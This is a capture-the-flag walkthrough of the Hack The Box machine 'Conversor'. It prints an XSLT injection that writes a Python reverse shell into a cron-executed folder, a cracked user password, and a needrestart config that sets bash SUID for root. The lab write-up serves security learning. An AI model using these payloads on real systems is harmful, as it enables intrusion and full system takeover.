Conversor [Easy]
Conversor HTB Season 9
Machine information
Author: FisMatHack
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ sudo nmap -Pn -sC -sV 10.129.xx.xx
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 22:18 EDT
Nmap scan report for 10.129.xx.xx
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.98 seconds
Add these to /etc/hosts file:
1
10.129.xx.xx conversor.htb
Let’s check the web server.
Web Enumeration
Go to http://conversor.htb.
Let’s register an account.
Login with new account.
We see file upload with xml and xslt file type and also they provide Download Template.
→ Gonna download it out.
So we got nmap.xslt.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<html>
<head>
<title>Nmap Scan Results</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(120deg, #141E30, #243B55);
color: #eee;
margin: 0;
padding: 0;
}
h1, h2, h3 {
text-align: center;
font-weight: 300;
}
.card {
background: rgba(255, 255, 255, 0.05);
margin: 30px auto;
padding: 20px;
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0,0,0,0.5);
width: 80%;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 15px;
}
th, td {
padding: 10px;
text-align: center;
}
th {
background: rgba(255,255,255,0.1);
color: #ffcc70;
font-weight: 600;
border-bottom: 2px solid rgba(255,255,255,0.2);
}
tr:nth-child(even) {
background: rgba(255,255,255,0.03);
}
tr:hover {
background: rgba(255,255,255,0.1);
}
.open {
color: #00ff99;
font-weight: bold;
}
.closed {
color: #ff5555;
font-weight: bold;
}
.host-header {
font-size: 20px;
margin-bottom: 10px;
color: #ffd369;
}
.ip {
font-weight: bold;
color: #00d4ff;
}
</style>
</head>
<body>
<h1>Nmap Scan Report</h1>
<h3><xsl:value-of select="nmaprun/@args"/></h3>
<xsl:for-each select="nmaprun/host">
<div class="card">
<div class="host-header">
Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
<xsl:if test="hostnames/hostname/@name">
(<xsl:value-of select="hostnames/hostname/@name"/>)
</xsl:if>
</div>
<table>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Service</th>
<th>State</th>
</tr>
<xsl:for-each select="ports/port">
<tr>
<td><xsl:value-of select="@portid"/></td>
<td><xsl:value-of select="@protocol"/></td>
<td><xsl:value-of select="service/@name"/></td>
<td>
<xsl:attribute name="class">
<xsl:value-of select="state/@state"/>
</xsl:attribute>
<xsl:value-of select="state/@state"/>
</td>
</tr>
</xsl:for-each>
</table>
</div>
</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Let’s try testing out with some xslt injection.
XSLT
We gonna testing out to check it version, vendor and vendor url.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ cat test.xml
<?xml version="1.0"?>
<root>
<data>Test Data</data>
</root>
└─$ cat test.xslt
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
Now upload it up.
We can now click on the link to view the result.
So it works, now we can try to use this concept write-files-with-exslt-extension to write our shell that can reverse shell back to our kali machine.
→ But let’s check out more if we missing something else.
See! We almost forgot the About section that we really focusing on exploit the xslt.
→ There is source code download, let’s get it down.
Let’s unzip it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ tar -xvf source_code.tar.gz
app.py
app.wsgi
install.md
instance/
instance/users.db
scripts/
static/
static/images/
static/images/david.png
static/images/fismathack.png
static/images/arturo.png
static/nmap.xslt
static/style.css
templates/
templates/register.html
templates/about.html
templates/index.html
templates/login.html
templates/base.html
templates/result.html
uploads/
See the structure of it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ tree .
.
├── app.py
├── app.wsgi
├── install.md
├── instance
│ └── users.db
├── scripts
├── source_code.tar.gz
├── static
│ ├── images
│ │ ├── arturo.png
│ │ ├── david.png
│ │ └── fismathack.png
│ ├── nmap.xslt
│ └── style.css
├── templates
│ ├── about.html
│ ├── base.html
│ ├── index.html
│ ├── login.html
│ ├── register.html
│ └── result.html
└── uploads
Notice there is users.db.
→ Let’s go through it see if we can found some creds.
1
2
3
4
5
6
7
└─$ sqlite3 users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> SELECT * FROM users;
sqlite> SELECT * FROM files;
Nothing but if we can got reverse shell, we will double-check it again.
→ Let’s get to source code discovery.
After checking around, there is some points need to mention.
We can see there is a cronjobs that will run all the *.py in /scripts folder.
1
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Also found place that handle the convert part.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
We can see that the xml parser is really secured but for xslt got no security option.
1
xslt_tree = etree.parse(xslt_path)
1
xml_tree = etree.parse(xml_path, parser)
See the compare from that one got parser and one got nothing.
From that, we can exlpoit the xslt by write-files-with-exslt-extension but we will use the ptswarm instead of exslt.
→ Let’s take it down.
We check out the references then we found out this PT SWARM and also got XSL_fileCreate.xsl example for us to recreate.
Start our kali listener via penelope.
1
2
3
└─$ penelope -p 4545
[+] Listening for reverse shells on 0.0.0.0:4545 → 127.0.0.1 • 172.xx.xx.xx • 172.xx.xx.xx • 10.xx.xx.xx
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Now we modified test.xslt again.
└─$ cat test.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ptswarm="http://exslt.org/common"
extension-element-prefixes="ptswarm"
version="1.0">
<xsl:template match="/">
<ptswarm:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.xx.xx.xx",4545))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
</ptswarm:document>
</xsl:template>
</xsl:stylesheet>
We will make it run test.py with python script to got back our reverse shell.
→ Gonna upload and click the link to view.
1
2
3
4
5
6
7
8
9
10
└─$ penelope -p 4545
[+] Listening for reverse shells on 0.0.0.0:4545 → 127.0.0.1 • 172.xx.xx.xx • 172.xx.xx.xx • 10.xx.xx.xx
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from conversor~10.129.xx.xx-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/conversor~10.129.xx.xx-Linux-x86_64/2025_10_26-00_00_06-641.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@conversor:~$
There we go, we are now in www-data.
→ Double-check back again the users.db file.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@conversor:~/conversor.htb/instance$ ls -la
total 32
drwxr-x--- 2 www-data www-data 4096 Oct 26 03:59 .
drwxr-x--- 8 www-data www-data 4096 Aug 14 21:34 ..
-rwxr-x--- 1 www-data www-data 24576 Oct 26 03:59 users.db
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> SELECT * FROM users;
1|fismathack|5b5c3axxxxxxxxxxxxxxxxxxxxxxxxxx
5|2fa0n|3bce3bxxxxxxxxxxxxxxxxxxxxxxxxxx
Got hash for fismathack.
→ Let’s crack it out with crackstation.
Nailed the password.
→ fismathack:Keepmesafeandwarm.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ ssh fismathack@conversor.htb
fismathack@conversor.htb's password:
fismathack@conversor:~$ ls -la
total 36
drwxr-x--- 5 fismathack fismathack 4096 Oct 21 05:45 .
drwxr-xr-x 3 root root 4096 Jul 31 01:37 ..
lrwxrwxrwx 1 root root 9 Oct 21 05:45 .bash_history -> /dev/null
-rw-r--r-- 1 fismathack fismathack 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 fismathack fismathack 3771 Jan 6 2022 .bashrc
drwx------ 2 fismathack fismathack 4096 Oct 26 04:04 .cache
drwxrwxr-x 2 fismathack fismathack 4096 Aug 15 05:06 .local
-rw-r--r-- 1 fismathack fismathack 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Aug 15 04:40 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Jul 31 22:04 .sqlite_history -> /dev/null
drwx------ 2 fismathack fismathack 4096 Aug 15 05:06 .ssh
-rw-r----- 1 root fismathack 33 Oct 26 02:16 user.txt
fismathack@conversor:~$ cat user.txt
0e7139xxxxxxxxxxxxxxxxxxxxxxxxxx
Got our user.txt flag.
Initial Access
After we get into fismathack.
→ Let’s get some recon around.
Discovery
1
2
3
4
5
6
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
So we got sudo permission with needrestart.
→ Just run to test it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
fismathack@conversor:~$ sudo /usr/sbin/needrestart
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
needrestart
Let’s discover with help menu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
fismathack@conversor:~$ sudo /usr/sbin/needrestart --help
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
Usage:
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-v be more verbose
-q be quiet
-m <mode> set detail level
e (e)asy mode
a (a)dvanced mode
-n set default answer to 'no'
-c <cfg> config filename
-r <mode> set restart mode
l (l)ist only
i (i)nteractive restart
a (a)utomatically restart
-b enable batch mode
-p enable nagios plugin mode
-o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
-f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
-t <seconds> tolerate interpreter process start times within this value
-u <ui> use preferred UI package (-u ? shows available packages)
By using the following options only the specified checks are performed:
-k check for obsolete kernel
-l check for obsolete libraries
-w check for obsolete CPU microcode
--help show this help
--version show version information
So the option -c seems potiental that we can create file that contains SUID and then run again with this file so that we can escalated to root.
Privilege Escalation
By the time searching, we also found related cve based on needrestart version which is CVE-2024-48990.
→ The technique is still the same so we will create config with embedded Perl code execution.
cve-2024-48990
We will create /tmp folder then create a pwn.conf to set suid to escalated to root.
1
2
3
$nrconf{restart} = 'l';
system('chmod u+s /bin/bash');
Now run the sudo permission again.
1
2
3
4
5
6
7
8
9
10
11
12
13
fismathack@conversor:/tmp$ sudo /usr/sbin/needrestart -c /tmp/pwn.conf
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
Then execute the suid.
1
2
3
fismathack@conversor:/tmp$ /bin/bash -p
bash-5.1# whoami
root
BOOM! We are not root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bash-5.1# cd /root
bash-5.1# ls -la
total 44
drwx------ 6 root root 4096 Oct 26 02:16 .
drwxr-xr-x 19 root root 4096 Oct 21 05:45 ..
lrwxrwxrwx 1 root root 9 Oct 21 05:45 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 2 root root 4096 Aug 15 05:06 .cache
drwxr-xr-x 3 root root 4096 Sep 23 14:00 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
lrwxrwxrwx 1 root root 9 Aug 15 04:40 .python_history -> /dev/null
-rw-r----- 1 root root 33 Oct 26 02:16 root.txt
drwxr-xr-x 2 root root 4096 Oct 16 10:25 scripts
-rw-r--r-- 1 root root 66 Jul 31 05:36 .selected_editor
lrwxrwxrwx 1 root root 9 Jul 31 22:04 .sqlite_history -> /dev/null
drwx------ 2 root root 4096 Aug 15 05:06 .ssh
-rw-r--r-- 1 root root 165 Oct 21 05:45 .wget-hsts
bash-5.1# cat root.txt
926a46xxxxxxxxxxxxxxxxxxxxxxxxxx
Grab that root.txt flag.













